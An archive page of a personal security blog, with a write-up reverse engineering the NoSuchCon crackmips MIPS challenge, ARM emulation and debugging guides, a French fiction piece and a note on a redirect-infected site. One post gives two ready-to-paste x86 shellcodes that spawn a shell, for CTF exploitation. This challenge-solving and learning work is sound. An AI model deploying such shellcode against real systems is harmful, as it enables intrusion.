lundi 3 novembre 2014

NoSuchCon cracking crackmips

Yesterday was an hard day: big hangover after saturday night beer session, big headache and no internet.
So I choose to drink a lot of water and play with NoSuchCon crackmips to change my mind.

There is two major parts in this blogpost. After the initial recognition, I began to follow a lead, really instructive, but destined to fail. Then, I restate my assumption, and with the experience of the first try, I manage to crack the binary.

1) Recon target

  • You won't make it through this fight!

1-1) Installation

the binary is a MIPS binary. I used qemu-system-mipsel to work, here is a little shell script:

$ cat
#! /bin/bash
qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -m 512 -net nic -net user,hostfwd=tcp::22222-:22


With it, I can launch qemu, and then ssh into it on localhost port 22222.

1-2) First glance

nm crackmips reveals some intersting information:
  • use of SHA256 and AES
  • presence of ptrace
  • forking
  • a function called decrypt_url
Time to try with a :
user@debian-mipsel:~$ ./crackmips
usage: ./crackmips password

user@debian-mipsel:~$ ./crackmips toto

I don't know if reversing is a kind of science or an art. How much intuition can help when you reverse something against a scientific analysisis af full code. Let's begin with intuition.

2) First try:

  • I'll show you what fighting with swords is all about.

 2-1)  Intuition

My first intuition was to think crackmips as that:
  • a (somehow useless) antidebug ptrace call: In a lot of challenge, there is an antidebug ptrace call.
  • forking of a process
  • a validation of password with an algorithm in this child
  • a SHA-256 of password which will be used as a key to decrypt a specific url

2-2) Go, go, go.

Let's get rid of ptrace with LD_PRELOAD trick, then play with binary. We quickly find that a wrong password will print "WRONG PASSWORD" (srsly?), but some passwords print "ERR". That's a good lead. If we follow crackmips with strace, we see that 'clone'  is called when password is 48 char long. to sum up:
  • The password must be 48 char long
  • The password must be in range [0-9A-F]
  • The program forks if both previous rules are right

2-3) Time to objdump

objdump -d crackmips reveals something quite interesting: A lot of break (101!) as you can see:
  402300:      00821021        addu    v0,a0,v0
  402304:      ac430008        sw      v1,8(v0)
  402308:      0000000d        break
  40230c:      8fc30038        lw      v1,56(s8)
  402310:      00031080        sll     v0,v1,0x2
  402314:      27c40018        addiu   a0,s8,24
  402318:      00821021        addu    v0,a0,v0
  40231c:      8c440008        lw      a0,8(v0)
  402320:      8fc20038        lw      v0,56(s8)
  402324:      00822023        subu    a0,a0,v0
  402328:      00031080        sll     v0,v1,0x2
  40232c:      27c30018        addiu   v1,s8,24
  402330:      00621021        addu    v0,v1,v0
  402334:      ac440008        sw      a0,8(v0)
  402338:      0000000d        break
  40233c:      8fc30038        lw      v1,56(s8)
  402340:      00031080        sll     v0,v1,0x2
  402344:      27c40018        addiu   a0,s8,24
  402348:      00821021        addu    v0,a0,v0

2-3) Let's gdb

gdb is launched with LD_PRELOAD in order to get rid of ptrace and follow-fork-mode child.If launched with a 48-char pass, it stops as expected on the first break instruction (0x40228c).

2-4) Digging into the break

The break are all based on the same scheme:
  • initialization of values
  • loading of 8 chars of password in $a0 (we notice that char are inversed, 12345678 becomes 87654321 in register)
  • simple operation (plus, xor, add, minus, leftshift of bit, rightshift, and so on)
  • saving the new password
 At the end of the 100 breaks, we have:
   0x4039e0 <main+6588>:    addiu   v0,v0,1
   0x4039e4 <main+6592>:    sw  v0,56(s8)
   0x4039e8 <main+6596>:    lw  v0,56(s8)
   0x4039ec <main+6600>:    sltiu   v0,v0,6
   0x4039f0 <main+6604>:    bnez    v0,0x40228c <main+616>

so we understand that its counter get incremented from 0 to 5 (6x8=48).

then a memcmp follow:

   0x4039f8 <main+6612>:    addiu   v0,s8,32
   0x4039fc <main+6616>:    move    a0,v0
   0x403a00 <main+6620>:    lui v0,0x40
   0x403a04 <main+6624>:    addiu   a1,v0,15524
   0x403a08 <main+6628>:    jal 0x400840 <memcmp@plt>

we find an intersting string at that point:
a0 : scrambled password string
a1 : "[ Synacktiv + NSC = <3 ]"

a2 : 24 char to analyser
Ok, so the password, once scrambled, should equals to "[ Synacktiv + NSC = <3 ]" (yeah, guys, I love you too, especially on bad afternoon like this one, with Evian and headache)

If we patch the result of the memcmp function to be true, we see some junk printed to screen. 

So some of my guesses must be right: password is scrambled with those 100 functions, then compared to a fixed string, then decrypt_url is called. 

2-5) Boring time.

The work can begin. In a window, objdump. In another, vi. 
I begin to write a veeeery boring python script. I took all parts between breaks, revert them and create a function for each of them (100 times. Boring. As. Hell. Yuck!).

I found that there is 5 different function (plus, minus, xor, leftslide, rightslide) called with different args. Some functions depends of the position of the part of the password (0->5).

So, the progs looks like a long list of:
def func_4034f0(v0):

def func_4034a4(v0):

def func_403444(v0):

and at the end
( ... )
(... etc..)

2-6) Crack it (and fail like a boss!)

I  launch my python prog 6 times:
$ ./ 7953205b 0
$ ./ 6b63616e 1
so the password should be: D3CC52F8EC139ED6BA23B382F2B63ADFA9545C5C8B8BF5C2

I patched the binary and replace all breaks with nops, and within a single heartbeat (my sensei says: always give the final blow quick, strong and clean), I typed:

user@debian-mipsel:~$ ./patched_crackmips_nobreaks D3CC52F8EC139ED6BA23B382F2B63ADFA9545C5C8B8BF5C2
MP!����jU� ����� |,vB���f�� ���
                                 �؀��� / ��Q'��)g'��˞qC ��| n����/    �Lu�]��]

Obviously, there is something wrong! That's confirmed with the unpatched binary:
user@debian-mipsel:~$ ./crackmips D3CC52F8EC139ED6BA23B382F2B63ADFA9545C5C8B8BF5C2

3) Second try:

  • I don't matter how many times you try! I'll win!
After an aspirine, I went back to crackmips. I knew that something was obviously wrong because of the breaks. How in the world can the binary continue after a break without help? And why the linear following of all those breaks doesn't points to victory?

3-1) Solving the break mystery

By digging in the code, I noticed that ptrace was called several times. I decided to launch the binary without my anti_ptrace hooking lib.
 user@debian-mipsel:~$ strace -i ./crackmips
 (... snip...)
[77e92e70] clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x77fee068) = 2111
[77e93000] --- SIGCHLD (Child exited) @ 0 (0) ---
[77e9257c] waitpid(2111, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL) = 2111
[77ecd52c] ptrace(PTRACE_GETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_SETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_CONT, 2111, 0, SIG_0) = 0
[77ecd52c] --- SIGCHLD (Child exited) @ 0 (0) ---
[77e9257c] waitpid(2111, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL) = 2111
[77ecd52c] ptrace(PTRACE_GETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_SETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_CONT, 2111, 0, SIG_0) = 0
[77ecd52c] --- SIGCHLD (Child exited) @ 0 (0) ---
[77e9257c] waitpid(2111, [{WIFSTOPPED(s) && WSTOPSIG(s) == SIGTRAP}], __WALL) = 2111
[77ecd52c] ptrace(PTRACE_GETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_SETREGS, 2111, 0, 0x7fff6484) = 0
[77ecd52c] ptrace(PTRACE_CONT, 2111, 0, SIG_0) = 0
[77ecd52c] --- SIGCHLD (Child exited) @ 0 (0) ---
 (... snip...)

We can see a pattern here, GETREGS, SETREGS, CONT called multiples times.

So, my assumption about ptrace used as antidebug is false! ptrace is used in order to drive the child process. The father waitpid for the child, then get its regs, modify them and send a PTRACE_CONT.

3-2) Let's debug father

With gdb, I choose to break at debug function (once again, driven by intuition).

After some sanity checks (did ptrace success, did the child is in waitpid etc..) we see (again) a looooong list af scrambling data beginning at:
  400b8c:       8fc2014c        lw      v0,332(s8)
  400b90:       afc2001c        sw      v0,28(s8)
  400b94:       3c020040        lui     v0,0x40
  400b98:       24420a78        addiu   v0,v0,2680
  400b9c:       8fc3001c        lw      v1,28(s8)
  400ba0:       00621023        subu    v0,v1,v0
  400ba4:       afc2001c        sw      v0,28(s8)
  400ba8:       8fc20018        lw      v0,24(s8)
  400bac:       3c03446f        lui     v1,0x446f
  400bb0:       34638657        ori     v1,v1,0x8657


But in the middle of this long scrambling, there is a check:
  401440:       08100529        j       4014a4 <debug+0xa44>
  401444:       afc00020        sw      zero,32(s8)
  401448:       8fc20020        lw      v0,32(s8)
  40144c:       00021840        sll     v1,v0,0x1
  401450:       3c020041        lui     v0,0x41
  401454:       00031880        sll     v1,v1,0x2
  401458:       24424130        addiu   v0,v0,16688
  40145c:       00621021        addu    v0,v1,v0
  401460:       8c430000        lw      v1,0(v0)
  401464:       8fc2001c        lw      v0,28(s8)
  401468:       1462000b        bne     v1,v0,401498 <debug+0xa38>
  40146c:       00200825        move    at,at
  401470:       8fc20020        lw      v0,32(s8)
  401474:       00021040        sll     v0,v0,0x1
  401478:       24430001        addiu   v1,v0,1
  40147c:       3c020041        lui     v0,0x41
  401480:       00031880        sll     v1,v1,0x2
  401484:       24424130        addiu   v0,v0,16688
  401488:       00621021        addu    v0,v1,v0
  40148c:       8c420000        lw      v0,0(v0)
  401490:       0810052d        j       4014b4 <debug+0xa54>
  401494:       afc2001c        sw      v0,28(s8)
  401498:       8fc20020        lw      v0,32(s8)
  40149c:       24420001        addiu   v0,v0,1
  4014a0:       afc20020        sw      v0,32(s8)
  4014a4:       8fc20020        lw      v0,32(s8)
  4014a8:       2c42025e        sltiu   v0,v0,606
  4014ac:       1440ffe6        bnez    v0,401448 <debug+0x9e8>
  4014b0:       00200825        move    at,at
  4014b4:       8fc30020        lw      v1,32(s8)
  4014b8:       2402025e        li      v0,606
  4014bc:       1462000c        bne     v1,v0,4014f0 <debug+0xa90>
  4014c0:       00200825        move    at,at
  4014c4:       3c020040        lui     v0,0x40
  4014c8:       24433c00        addiu   v1,v0,15360
  4014cc:       3c020041        lui     v0,0x41
  4014d0:       8c4254a0        lw      v0,21664(v0)
  4014d4:       00602021        move    a0,v1
  4014d8:       24050001        li      a1,1
  4014dc:       24060004        li      a2,4
  4014e0:       0c100230        jal     4008c0 <fwrite@plt>
  4014e4:       00403821        move    a3,v0
  4014e8:       0c100248        jal     400920 <exit@plt>
  4014ec:       24040001        li      a0,1

Basically, it just checks that the word loaded at $s8+332 after scrambling is in a list.
There is 606 tries (noticed that 101x6=606?). The question is: what represents $s8+332? It doesn't take long to understand that $s8+332 is $pc of the child. Also, the list of reference values is called "pcs", which is another good hint.

Ok, let's play with it, without trying to following it step by step.
If at $s8+332 I give a random value, then this check fails, and "ERR\n" is printed to screen: logic.
If I give one of any break address, then the check doesn't fail.
And, at the end of this loooong scrambling, I have another address which equals to another break address+4 (but not the initial break+4)

3-3)Final understanding

The best place to read the modified $pc of the child is right after the PTRACE_CONT, so I wrote some lines of gdb to log all of them in a log file.
user@debian-mipsel:~$ gdb -q crackmips
Reading symbols from /home/user/crackmips...(no debugging symbols found)...done.
(gdb) b * 0x00401e00
Breakpoint 1 at 0x401e00
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>x/x $s8+332
(gdb) set log file breaks

(gdb) set log on
 ( ...snip)

I have now a long list of pcs:
$ grep '0x7fff6564:' breaks
0x7fff6564:     0x0040228c
0x7fff6564:     0x004022bc
0x7fff6564:     0x00402d0c
0x7fff6564:     0x00402dd4
0x7fff6564:     0x0040357c
0x7fff6564:     0x00402f34
0x7fff6564:     0x004037a8
0x7fff6564:     0x00403728
0x7fff6564:     0x0040244c
 (... snip)

and we see that we jump from one break to another one in the binary.

3-4) Break it like a boss:

My list of breaks is 606 lines long. I can see that all breaks are called 6 times.

Here we have the explanation of why the previous password fails: all the parts between breaks are not lineary called.
I can also see that for each part of the password, the series of $pc is not the same.

In order to break, I can reused my previous script, with a little help of formatting (remember how I called all of the parts with the adress :-) )
$ head -101 ptrace7 | cut -d "x" -f3 | sed s/$/\(v0\)/ | sed s/^00/func_/ | tac > zero
$ head -202 ptrace7 | tail 101 | cut -d "x" -f3 | sed s/$/\(v0\)/ | sed s/^00/func_/ | tac > one
I reused all the function written in the script :
cat zero >
python ./ 7953205b 0

cat one >
Once each series of char inversed (remember that I found that the password is inversed), we can crack it.

I wait until the sun set to gave the final blow without hate, without anger, just with peace in my minds and a sharpened sword:

user@debian-mipsel:~$ ./crackmips 322644EF941077AB1115AB575363AE87F58E6D9AFE5C62CC
good job!
Next level is there:

(unfortunately, no internet yesterday to continue.)

4) Conclusion

  • Name's Mitsurugi... REMEMBER IT!
This challenge was an opportunity for me to learn some MIPS assembly.

It was very interesting, and it teach me to not blindly follow my intuitions. Always verify!
There is a lot of code I didn't read, I didn't check how the scheme of the password is made, and maybe there is some black magic inside the debug function (I didn't try hard to reverse it).

It was fun, except the 100 function to write (meh!) The challenge would be exactly the same with only 10 functions. Maybe there is a quicker way (with Sublime Text 3? ;) ) , but it doesn't matter: as my sensei says:
"No matter the road, only the purpose counts"

Thanks to Synacktiv and NoSuchcon!

dimanche 1 juin 2014

Le gourmet Solitaire

Un samouraï, un rônin, un guerrier taciturne marche, solitaire. Le ciel est bas, un vent froid fait voler la poussière dans le crépuscule.
Le samouraï entre en coup de vent dans une taverne. Sans retenir sa force, il fait coulisser la porte à grand bruit. Puis, sans la moindre hésitation, il avance d'un pas ferme à l'intérieur. Il se laisse tomber sur un coussin. Il pose à côté de lui le sabre qu'il vient de dégager de sa ceinture de kimono. La taverne est vide. Aucun client. Le patron lui-même, sans doute dans l'arrière boutique est invisible. Le samouraï tend légèrement le cou et tourne son regard vers la porte qui donne sur l'arrière, quand le patron, ayant entendu du bruit, jette un coup d’œil dans la salle.
-"A manger, Tavernier!" gueule le samouraï.
-"Voilà, voilà! Tout de suite." répond le tenancier, apeuré par le ton énergique, tout en enfilant ses soques de bois. Puis, se retournant vers le service:
-"Holà, O-mitchan"
C'est sa jeune servante qui se nomme ainsi. Sa femme est morte il y a déjà longtemps. O-mitchan se dépêche de préparer le thé de bienvenue, pose le pot sur un plateau et vient le servir.
-"Irasshaïmashi, bienvenue seigneur!" dit O-mitchan les yeux modestement baissés. Mais quand elle va pour servir le samouraï, celui-ci l'arrête d'une voix virile:
-"Pas besoin de thé! Du saké! Apporte du saké!"
-"Ah, ou.. oui." répond elle , la main en l'air, le pot de thé au bout du bras. Elle marque un temps d'hésitation: doit elle poser malgré tout le pot devant le client avant de se retirer, ou doit elle le ramener au service?
Comme s'il lisait dans son coeur, le samouraï lance une main hâlée aux doigts velus et prend d'autorité le pot de thé de la main blanche d'O-mitchan, pour le reposer sur le plateau. Avec une ombre de sourire, ses gros yeux fixés sur le visage de la douce enfant, il ajoute un ton plus bas:
-"Musumé (fillette), t'aurais pas entendu parler ces derniers temps dans le patelin de samouraïs inconnus qui rôderaient dans les parages un grand sabre à leurs ceintures?"
-"Je ne connais que seigneur, ils se promènent tous les trois dans les bois et ils me font peur"
-"J'ai tué le premier dans l'USB, le long des lignes de 4096 octets. Il m'a donné le nom du second brigand: badbios.bin, un guerrier aux techniques ARMv8 qui camouflait son vrai visage derrière une VM. J'ai combattu une journée entière. Souviens toi de ça Musumé: 0BADBIOS IS DEAD!!"
-"Et pour fw.hex, Seigneur?"
Le samouraï laisse montrer son épaule dénudée ou se distingue une blessure qu'on devine très ancienne. Un tic nerveux le parcourt alors qu'il se frotte cette cicatrice.
-"..... fw.hex m'a échappé. Ainsi vont les choses." Grogne le samouraï.

vendredi 18 avril 2014

Run Aarch64 (ARMv8) binaries under x86 box

A small post to explain how to run ARM binaries on an x86 linux box.
mitsurugi@mitsu:~$ uname -a
Linux mitsu 3.10.17 #2 SMP Wed Oct 23 16:34:38 CDT 2013 x86_64 Intel(R) Core(TM)2 CPU         U7600  @ 1.20GHz GenuineIntel GNU/Linux

Ok. Just download the debian tgz (88MB) and static qemu binary (~7MB) from the page:

Untar the tgz under /chroot_armv8, copy the qemu-arm-static binary under /chroot_armv8.

Then tell your kernel to use qemu for ARM binary. Read for more information about binfmt_misc.

mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc 
cd /proc/sys/fs/binfmt_misc 
echo ":qemu-arm64:M::\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xb7:\xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff:/qemu-arm64-static:OC" > register 
cd /chroot_armv8
chroot .
root@mitsu:/# uname -a
Linux mitsu 3.8.0 #2 SMP Wed Oct 23 16:34:38 CDT 2013 aarch64 GNU/Linux

And now, you're in a debian ARMv8 :-) You can eventually bind mount some directories like /proc, /sys, etc. but at first:

echo " nameserver" > /etc/resolv.conf
apt-get update

and it's OK to start with your brand new ARMv8 board!

[update1] : rename qemu-arm-static in binfmt
[update2] : No, you can'use gdb with this setup. Qemu-arm-static doesn't seems to send ptrace syscalls. You have to use qemu with integrated gdb server and use a gdb multiarch

mercredi 26 mars 2014

Two shellcodes and a bit of code

Usually, when you solve a challenge, you have to launch a shell. One of these way is to put a shellcode in an environment variable, and get its address.

As a reminder, I put there two shellcodes I use. The first one comes from and is a polymorphic shellcode launching
execve("/bin/bash", ["/bin/bash", "-p"], NULL):

On a single line, for a convenient copy-paste:
export SC="\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"

Another shellcode is a simpler one, taken from wikipedia, launching /bin/sh on a x86 machine:

and the shellcode in one-line:
export SC="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

Once done, a single C program can read the address of the shellcode:
#include <stdio.h>
int main(void) {
printf("SHELLCODE found at %08x\n", (unsigned int)getenv("SC"));
return 0;

Just compile it, and you get the address:
mitsurugi@mitsu:~$ make sc
cc     sc.c   -o sc
mitsurugi@mitsu:~$ export SC="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"
mitsurugi@mitsu:~$ ./sc
SHELLCODE found at bff18dcf

mardi 28 janvier 2014

Le site est infecté?

MMMh, apparemment, le site est infecté par une petite bébête.

Pour résumer:
-si vous tapez l'adresse directement dans la barre d'adresse, vous allez sur le site
-si vous faites une recherche google de, alors ça vous redirige vers un autre site web.
-ça ne le fait qu'une fois. (faut que je fasse le test depuis une autre IP)

Lorsque j'ai fait la recherche, l'index du site m'a renvoyé vers:

La deuxième partie de l'URL est du base64 qui signifie

donc ça logge un truc, cette page renvoie immédiatement à son tour sur

qui elle même renvoie sur (et ça s'appelle Russian Brides).

Ca sent la bonne infection du .htaccess avec une redirection en fonction de l'URL source comme expliqué ici :

Edit: sur twitter, osxreverser m'indique qu'aucun de ses fichiers n'est touché, mais qu'il est sur du co-hosté. C'est donc à son provider de vérifier les binaires apache and co.

Si j'ai 5 mn, j'irai creuser voir ce qu'envoie ces sites.

mercredi 8 janvier 2014

How to debug ARM binary under x86 linux box

I'm having fun solving challenges from the root-me website. I work from a linux box. As most challenges are made for linux/x86, this is not a problem.

But there are some chall made for linux/ARM:

mitsurugi@mitsu:~/chall/R$ uname -a
Linux mitsu 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
mitsurugi@mitsu:~/chall/R$ file chall9.bin
chall9.bin: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, not stripped

And I didn't want to install an ARM system. So I used qemu and gdb. How does it works:

First, you have to install gdb-multiarch:
mitsurugi@mitsu:~/chall/R$ apt-cache search gdb-multiarch
gdb-multiarch - The GNU Debugger (with support for multiple architectures)

Then, launch qemu-arm from one-side with the gdb server internal function, and from another side, gdb-multiarch:
mitsurugi@mitsu:~/chall/mitsu/R$ qemu-arm -g 1234 ./chall9.bin

And from another terminal with gdb-multiarch, you have to load the same file (chall9.bin), set architecture to arm and finally connect to the gdb server:

mitsurugi@mitsu:~/chall/R$ gdb-multiarch -q -nx
(gdb) file chall9.bin
Reading symbols from /home/mitsurugi/chall/R/chall9.bin...done.
(gdb) set architecture arm
The target architecture is assumed to be arm
(gdb) target remote
Remote debugging using
[New Remote target]
[Switching to Remote target]
0x00008150 in _start ()
(gdb) disass main
Dump of assembler code for function main:
   0x00008290 <+0>:    mov    r12, sp
   0x00008294 <+4>:    push    {r4, r11, r12, lr, pc}
   0x00008298 <+8>:    sub    r11, r12, #4
   0x0000829c <+12>:    sub    sp, sp, #36    ; 0x24
   0x000082a0 <+16>:    str    r0, [r11, #-40]    ; 0x28
   0x000082a4 <+20>:    str    r1, [r11, #-44]    ; 0x2c
   0x000082a8 <+24>:    ldr    r3, [r11, #-40]    ; 0x28
   0x000082ac <+28>:    cmp    r3, #1
   0x000082b0 <+32>:    bgt    0x82c0 <main+48>
   0x000082b4 <+36>:    mvn    r3, #0
   0x000082b8 <+40>:    str    r3, [r11, #-48]    ; 0x30
   0x000082bc <+44>:    b    0x8448 <main+440>
   0x000082c0 <+48>:    mov    r3, #0
   0x000082c4 <+52>:    str    r3, [r11, #-28]
   0x000082c8 <+56>:    mov    r0, #32
   0x000082cc <+60>:    bl    0x8248 <xmalloc>
   0x000082d0 <+64>:    mov    r3, r0
   0x000082d4 <+68>:    str    r3, [r11, #-32]
   0x000082d8 <+72>:    b    0x832c <main+156>
   0x000082dc <+76>:    ldr    r3, [r11, #-28]

Ok, time to learn some ARM assembly :-)